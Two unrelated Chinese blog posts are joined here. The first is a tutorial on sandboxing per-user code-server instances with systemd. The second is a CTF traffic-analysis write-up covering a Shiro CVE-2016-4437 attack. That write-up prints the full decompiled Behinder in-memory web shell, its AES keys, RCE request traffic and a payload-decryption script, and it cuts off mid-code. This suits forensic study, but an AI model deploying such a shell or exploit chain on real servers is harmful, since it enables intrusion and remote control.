充分利用systemd的特性构建多租户CodeServer 分析 起因是大学Python课，不想每次课都带笔记本过去太重了，尝试能不能一个平板就搞定。找来找去发现coder/code-server: VS Code in the browser很符合要求，同时还能兼顾跨平台。当时自己部署了一个玩玩，后来朋友他们也想要，就在思考怎么弄能够兼顾多租户和安全性。最开始想到的是容器化，但是因为涉及到pip安装新的包，容器化不太好做，可能得把python的site-package什么的一堆都给持久化，而且性能也不好，所以还是打算使用二进制部署。 需求很简单，大致概括如下： 每个用户可以用自己的域名登录进入CodeServer 每个用户可以自己修改登录密码 每个用户的Python环境完全隔离，可独立安装pip包 用户间不应该能互相访问到对方的文件 防止用户误操作删掉系统关键组件 防止用户误操作写出死循环之类的耗尽服务器资源 防止用户利用服务器挖矿/做跳板攻击别人 经过分析和与ai的讨论，最终定下来的方案大致是这样： 利用Linux自己的多用户机制，每个用户在自己的家目录下运行一个CodeServer做最基础的隔离。这样需求145可以很轻松的实现； 监听端口根据uid计算。每个用户下手动创建一个venv，并通过.bashrc让用户启动shell的时候自动启用，解决需求3； 利用systemd的限制来限制进程的行为，实现一定程度上实现需求6-7 利用systemd的Path机制监听$HOME/.config/code-server/config.yaml的修改并自动重启daemon，使得用户可以通过修改配置文件来改登录密码，较为优雅地实现需求2。 对于7，我觉得根据大一同学的计算机水平倒是不用太担心（应该吧？） 没有直接断网是因为考虑到有些需求需要联网下软件包，或者可能涉及到爬虫操作什么的。systemd的限制应该已经能拦截绝大部分恶意操作了。 本文讨论不涉及SELinux，因为个人认为当前需求使用SELinux有点过度设计了，并且我也对SELinux/SEPolicy不太熟（这才是主要原因吧233），同时也想尽量让用户在合理使用过程中不受限制，因此并未使用SELinux来限制。 部署 配置systemd 下载下来codeserver二进制文件传到服务器上，比如我丢在/usr/bin/code-server。然后编写systemd配置，创建/etc/systemd/system/[email protected]： # /etc/systemd/system/[email protected] [Unit] Description=Code-Server for %i After=network.target [Service] Type=simple User=%i Group=%i WorkingDirectory=/home/%i MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX # ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password" ExecStart=/bin/bash -c ' \ PORT=$((7000 + $(id -u %i) %% 10000)); \ /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \ ' Restart=always RestartSec=5 [Install] WantedBy=multi-user.target 这里创建的文件名是[email protected]，@之后的内容会被当作%i替换。设计上是利用%i传递用户名称，计算端口并自启动。端口计算逻辑是7000+uid%10000，一般创建的uid是1000开始，因此正好按照创建顺序从8000开始监听端口。 值得注意的是这部分配置： MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX （我懒得解释了，让ai解释一下吧） 它主要分为两个方面：资源限制（Resource Control） 和 安全沙盒隔离（Security and Sandboxing）。 一、 资源限制 (Resource Control) 这部分利用 Linux 的 cgroups 机制，防止该服务消耗过多系统资源，影响其他程序运行。 MemoryMax=1G 作用： 限制该服务最多只能使用 1GB 的内存。 结果： 如果服务尝试使用的内存超过 1GB，系统（OOM Killer）会强制杀死该进程以保护系统。 CPUQuota=150% 作用： 限制该服务的 CPU 使用率最高为 150%。 结果： 100% 代表一个完整的 CPU 核心。150% 意味着该服务最多可以占满一个核心，并使用第二个核心的一半（即最多使用 1.5 个 CPU 核心的算力）。 TasksMax=200 作用： 限制该服务可以创建的最大任务（进程或线程）数量为 200 个。 结果： 防止服务因为遭遇漏洞或死循环（如 Fork Bomb）而无限创建子进程，从而耗尽系统 PID 资源使系统崩溃。 IOWeight=50 作用： 设置磁盘 I/O（输入/输出）的权重。默认值通常是 100。 结果： 设置为 50 意味着当系统 I/O 繁忙时，该服务获得磁盘读写资源的优先级低于默认服务，防止它在大量读写文件时卡死整个系统。 二、 安全与隔离 (Security & Isolation) 这部分通过 Linux 命名空间（Namespaces）和其他内核安全机制，将服务“关在笼子里”，即使服务被黑客攻破，也能将破坏降到最低。 ProtectSystem=strict 作用： 严格保护系统文件。 结果： 将整个操作系统的文件系统（/ 根目录及其下的所有内容，除了 /dev, /proc 和 /sys 等特殊 API 目录）对该服务设为只读。该服务无法修改、覆盖或删除任何系统核心文件。 PrivateTmp=yes 作用： 为该服务提供独立的临时文件目录。 结果： 服务会看到一个自己专属的 /tmp 和 /var/tmp 目录。它无法看到或修改其他用户/服务放在全局 /tmp 中的文件，反之亦然。这能有效防止基于临时文件的符号链接攻击或数据泄露。 PrivateDevices=yes 作用： 隔离物理设备。 结果： 为该服务挂载一个私有的 /dev 目录，里面只包含伪设备（如 /dev/null, /dev/zero, /dev/urandom 等）。该服务将完全看不到真实的物理硬件设备（如硬盘 /dev/sda、USB 设备等），彻底杜绝了直接读写底层块设备的可能。 NoNewPrivileges=yes 作用： 禁止权限提升。 结果： 确保该服务及其所有子进程，无论如何都无法获得新的系统权限。即使服务调用了一个带有 SUID 位的程序（比如 sudo 或 su），也无法借此提升为 root 权限。 RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX 作用： 限制该服务可以使用的网络协议族。 结果： 该服务只能使用： AF_INET：IPv4 网络通信 AF_INET6：IPv6 网络通信 AF_UNIX：本地 UNIX 域套接字（用于本地进程间通信） 除此之外的网络协议（例如底层的数据包抓取 AF_PACKET、蓝牙 AF_BLUETOOTH 等）全部被内核拦截。这大大减少了网络层面的攻击面。 创建新用户时直接： adduser <username> systemctl enable --now code-server@<username> 即可同时创建对应的CodeServer服务 配置修改密码自动重启 创建文件/etc/systemd/system/[email protected]: # /etc/systemd/system/[email protected] [Unit] Description=Monitor code-server config change for %i After=network.target [Path] PathChanged=/home/%i/.config/code-server/config.yaml [Install] WantedBy=multi-user.target 创建文件/etc/systemd/system/[email protected]： [Unit] Description=Triggered safe restart for %i [Service] Type=oneshot User=root ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i [Install] WantedBy=multi-user.target 这里的运行逻辑是这样的： 第一步：启动监控 (由 .path 文件负责) 系统或管理员启动了code-server-restart@<username>.path。 systemd会解析这个.path文件，将%i替换为用户名。 PathChanged=/home/<username>/.config/code-server/config.yaml：systemd 会在内核层面（利用 inotify 机制）开始静默监听这个特定路径的 config.yaml 文件。 第二步：检测变更并触发 在 code-server 网页端修改了设置，或者通过命令行直接编辑了 config.yaml 并保存。 PathChanged 检测到文件被修改并且被关闭（这意味着写入已完成，避免读到写了一半的脏数据）。 隐式绑定： 因为 .path 文件中没有使用 Unit= 显式指定要触发哪个服务，systemd 的默认行为是触发与它同名去掉后缀的 .service 文件。 于是，systemd 自动拉起 code-server-restart@<username>.service。 第三步：执行动作 (由 .service 文件负责) systemd 开始执行 code-server-restart@<username>.service。同样，这里的 %i 也会被替换为用户名。 Type=oneshot：告诉系统这不是一个常驻后台的服务，而是一次性的任务。执行完就结束。 User=root：这个重启操作需要较高的权限，因此强制以 root 身份执行。 ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>：这是整个逻辑的最终落脚点。系统以 root 身份运行了这个自定义的 shell 脚本，并将用户名作为参数传递给它。 没有直接在restart.service里重启主daemon，因为考虑到CodeServer编辑文件是每修改一点就会自动保存，因此当用户修改密码过程中，可能会存在修改了一半就被触发重启，导致后面的部分没有成功写入的情况，因此编写了一个脚本，判断等文件没有修改之后才触发重启： /usr/local/bin/safe-restart-codeserver.sh #!/bin/bash USER_NAME=$1 CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml" STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp" # 1. 前置拦截：如果记录文件存在，且配置文件比记录文件旧（或时间相同） # 说明这一次触发是 systemd 排队遗留下来的无意义事件，直接退出 if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then echo "Config hasn't changed since last restart, exiting." exit 0 fi # 2. 原有的防抖等待逻辑（保持不变） while true; do last_md5=$(md5sum "$CONFIG_FILE") sleep 5 current_md5=$(md5sum "$CONFIG_FILE") if [ "$last_md5" == "$current_md5" ]; then # 文件稳定了，执行重启 systemctl restart code-server@$USER_NAME # 3. 关键动作：重启成功后，更新时间戳文件的修改时间 touch "$STAMP_FILE" break else echo "Config file for $USER_NAME is still changing, waiting..." fi done 那个时间戳机制是为了防止多次触发导致无效重启，若检测到配置文件编辑时间早于上次重启时间则拒绝重启。 完成编辑后启用触发器：systemd enable --now code-server-restart@<username>.path（注意是.path不是.service），接着在web界面中尝试缓慢编辑config文件中的密码，查看日志就可以发现类似于如下记录： ○ [email protected] - Triggered safe restart for lyr Loaded: loaded (/etc/systemd/system/[email protected]; disabled; preset: enabled) Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago Invocation: 0bd37fcb6ea44a58870c06b4fde5300c TriggeredBy: ● [email protected] Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS) Main PID: 6997 (code=exited, status=0/SUCCESS) Mem peak: 2.5M CPU: 43ms Jun 06 06:43:40 CodeServer systemd[1]: Starting [email protected] - Triggered safe restart for lyr... Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:55 CodeServer systemd[1]: [email protected]: Deactivated successfully. Jun 06 06:43:55 CodeServer systemd[1]: Finished [email protected] - Triggered safe restart for lyr. 当停止编辑5秒之后CodeServer才会重启，后续可以使用新密码登录。 配置Python venv 首先系统里需要安装Python3，这就不多赘述了，包管理器直接装即可。同时安装一个python3-venv： apt install python3-venv 接着，进入用户的家目录，我选择创建了一个名为.venv的文件夹用于存放虚拟环境。在.venv中执行python3 -m venv myvenv创建一个名叫myvenv的虚拟环境，并在用户的.bashrc后加上一行： fi fi +source ~/.venv/myvenv/bin/activate 之后，启动shell的时候就会自动启用venv。 为CodeServer安装Python插件并指派使用venv 这一步就不过多赘述了，在网页上给CodeServer安装Python和调试器插件，并指定Python解释器为venv下的python即可。 后记 其实这个配置很早就做了但是一直没写，当时还没爆出来CopyFail和DirtyFrag这样的漏洞。爆出来的时候第一时间做了测试，发现这套systemd配置阴差阳错的全都防住了，大致分析如下： 因为CopyFail使用了一个特殊的套接字类型：AF_ALG，而systemd配置只允许AF_INET AF_INET6 AF_UNIX这三种，因此CopyFail无法提权。DirtyFrag也是同理，其利用的AF_NETLINK、AF_RXRPC、AF_ALG都被禁止了。 同时，NoNewPrivileges=yes也是最后的防线，代码的最终目标是篡改/usr/bin/su植入恶意ELF shellcode或篡改/etc/passwd清空root密码，随后调用具有setuid权限的su命令来获取 root 权限。而NoNewPrivileges一旦设置，该进程及其派生的所有子进程，无论执行什么程序，都绝对无法通过文件的setuid或setgid标志获得更高的权限。退一万步讲，即使后续有漏洞找到了某种手段绕过了网络限制，并成功将/usr/bin/su替换成了恶意Shell，当它执行su时，弹出来的依然是一个低权限用户的Shell，提权彻底沦为空谈。 本文没有讨论SELinux，因为当前方案在“朋友共用、非生产核心”的场景下是可接受的简化，避免了配置错误导致功能不可用的风险和运维复杂度，但实际上systemd的这些沙盒选项主要基于namespace和cgroup隔离，并不能完全替代强制访问控制（也就是SELinux和AppArmor这类ACL），对于需要更高安全等级的租户隔离（如不可信用户之间需防止内核漏洞逃逸），SELinux/AppArmor仍然是主流。 当然，这个方案也存在其他一些局限，比如当用户非常多，或者uid分配有特殊需求，超过10000时原先计算端口的方式可能会失效；对于科学计算等其他正常需求，目前的限制可能过于严格等。本文仅作为一种思路探讨和参考。 碎碎念：在容器化和云原生的时代，传统systemd还有很多值得我们去探求的特性可以做到很多事情呢…… 参考文章： systemd.git - A fork of systemd to make components more independant

2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp 第一层: Apache Shiro CVE-2016-4437 打开pcapng抓包文件，发现大部分都是HTTP。尝试过滤所有HTTP请求： _ws.col.protocol == "HTTP" 发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico，打开发现携带Payload： POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... 尝试直接Base64解密，发现疑似加密了，无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求： http.request.method == "POST" 发现第5009个HTTP流POST向了/，打开发现： GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... 等等一系列请求。 根据其JSESSIONID可知是Java后端，根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞（CVE-2016-4437）。前面部分在进行爆破，尝试得到其AES加密的Key。往后翻，可找到： GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... 服务端返回： HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... 没有再Set-Cookie，表明这里已经成功碰撞出了AES密钥。往后还有 GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... 服务端返回： HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> 对cm9vdAo=进行Base64解密，可得到：root，对Authorization头里的d2hvYW1p解密，可得到whoami，发现这里已经实现了RCE。 随后分别执行并返回了： pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 发现并没有什么有用的信息。 之后发送了一个： POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D 服务端返回了： HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- 之后就没有类似的包了，推测是挂了个马。 第二层: 冰蝎 WebShell 内存马 对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类，导出后尝试使用Jadx打开，可得到： {collapse} {collapse-item label="代码部分 - 点击展开"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter {     public HttpServletRequest request;     public HttpServletResponse response;     public String cs;     public String Pwd;     public String path;     public BehinderFilter() {         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public BehinderFilter(ClassLoader c) {         super(c);         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public Class g(byte[] b) {         return super.defineClass(b, 0, b.length);     }     public static String md5(String s) throws NoSuchAlgorithmException {         String ret = null;         try {             MessageDigest m = MessageDigest.getInstance("MD5");             m.update(s.getBytes(), 0, s.length());             ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);         } catch (Exception e) {         }         return ret;     }     public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {         parseObj(obj);         this.Pwd = md5(this.request.getHeader("p"));         this.path = this.request.getHeader("path");         StringBuffer output = new StringBuffer();         try {             this.response.setContentType("text/html");             this.request.setCharacterEncoding(this.cs);             this.response.setCharacterEncoding(this.cs);             output.append(addFilter());         } catch (Exception var7) {             output.append("ERROR:// " + var7.toString());         }         try {             this.response.getWriter().print("->|" + output.toString() + "|<-");             this.response.getWriter().flush();             this.response.getWriter().close();             return true;         } catch (Exception e) {             return true;         }     }     public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {         if (obj.getClass().isArray()) {             Object[] data = (Object[]) obj;             this.request = (HttpServletRequest) data[0];             this.response = (HttpServletResponse) data[1];             return;         }         try {             Class clazz = Class.forName("javax.servlet.jsp.PageContext");             this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);             this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);         } catch (Exception e) {             if (obj instanceof HttpServletRequest) {                 this.request = (HttpServletRequest) obj;                 try {                     Field req = this.request.getClass().getDeclaredField("request");                     req.setAccessible(true);                     HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);                     Field resp = request2.getClass().getDeclaredField("response");                     resp.setAccessible(true);                     this.response = (HttpServletResponse) resp.get(request2);                 } catch (Exception e2) {                     try {                         this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);                     } catch (Exception e3) {                     }                 }             }         }     }     public String addFilter() throws Exception {         Class filterMap;         ServletContext servletContext = this.request.getServletContext();         String filterName = this.path;         String url = this.path;         if (servletContext.getFilterRegistration(filterName) == null) {             StandardContext standardContext = null;             Field stateField = null;             try {                 try {                     Field contextField = servletContext.getClass().getDeclaredField("context");                     contextField.setAccessible(true);                     ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);                     Field contextField2 = applicationContext.getClass().getDeclaredField("context");                     contextField2.setAccessible(true);                     standardContext = (StandardContext) contextField2.get(applicationContext);                     stateField = LifecycleBase.class.getDeclaredField("state");                     stateField.setAccessible(true);                     stateField.set(standardContext, LifecycleState.STARTING_PREP);                     FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);                     filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});                     Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);                     filterStartMethod.setAccessible(true);                     filterStartMethod.invoke(standardContext, (Object[]) null);                     stateField.set(standardContext, LifecycleState.STARTED);                     try {                         filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                     } catch (Exception e) {                         filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");                     }                     Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);                     Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);                     for (int i = 0; i < filterMaps.length; i++) {                         Object filterMapObj = filterMaps[i];                         Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);                         String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);                         if (name.equalsIgnoreCase(filterName)) {                             filterMaps[i] = filterMaps[0];                             filterMaps[0] = filterMapObj;                         }                     }                     stateField.set(standardContext, LifecycleState.STARTED);                     return "Success";                 } catch (Exception var22) {                     String var11 = var22.getMessage();                     stateField.set(standardContext, LifecycleState.STARTED);                     return var11;                 }             } catch (Throwable th) {                 stateField.set(standardContext, LifecycleState.STARTED);                 throw th;             }         }         return "Filter already exists";     }     /* JADX WARN: Multi-variable type inference failed */     public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {         HttpSession session = ((HttpServletRequest) req).getSession();         ServletRequest servletRequestInvoke = req;         ServletResponse servletResponseInvoke = resp;         if (!(servletRequestInvoke instanceof RequestFacade)) {             try {                 Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);                 servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);                 while (!(servletRequestInvoke instanceof RequestFacade)) {                     servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);                 }             } catch (Exception e) {             }         }         try {             if (!(servletResponseInvoke instanceof ResponseFacade)) {                 Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);                 servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);                 while (!(servletResponseInvoke instanceof ResponseFacade)) {                     servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);                 }             }         } catch (Exception e2) {         }         Map obj = new HashMap();         obj.put("request", servletRequestInvoke);         obj.put("response", servletResponseInvoke);         obj.put("session", session);         try {             session.putValue("u", this.Pwd);             Cipher c = Cipher.getInstance("AES");             c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));             new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);         } catch (Exception var7) {             var7.printStackTrace();         }     }     public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     }     public void init(FilterConfig filterConfig) throws ServletException {     }     public void destroy() {     } } {/collapse-item} {/collapse} 发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密，同时若请求头中携带p，就将p的内容md5加密之后取前16位作为AES密钥。 根据上面的请求内容可知p: HWmc2TLDoihdlr0N，md5加密得到1f2c8075acd3d118674e99f8e61b9596，取前16位即1f2c8075acd3d118就是AES密码。 同时，设置了/favicondemo.ico作为C2通信地址，这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。 接着打开之前找到的POST抓包，发现第40552个HTTP Stream内包含大量往返。 编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload： import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # 去除 PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) 发现开头CAFEBABE是Java Class的文件头。用Jadx打开： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = 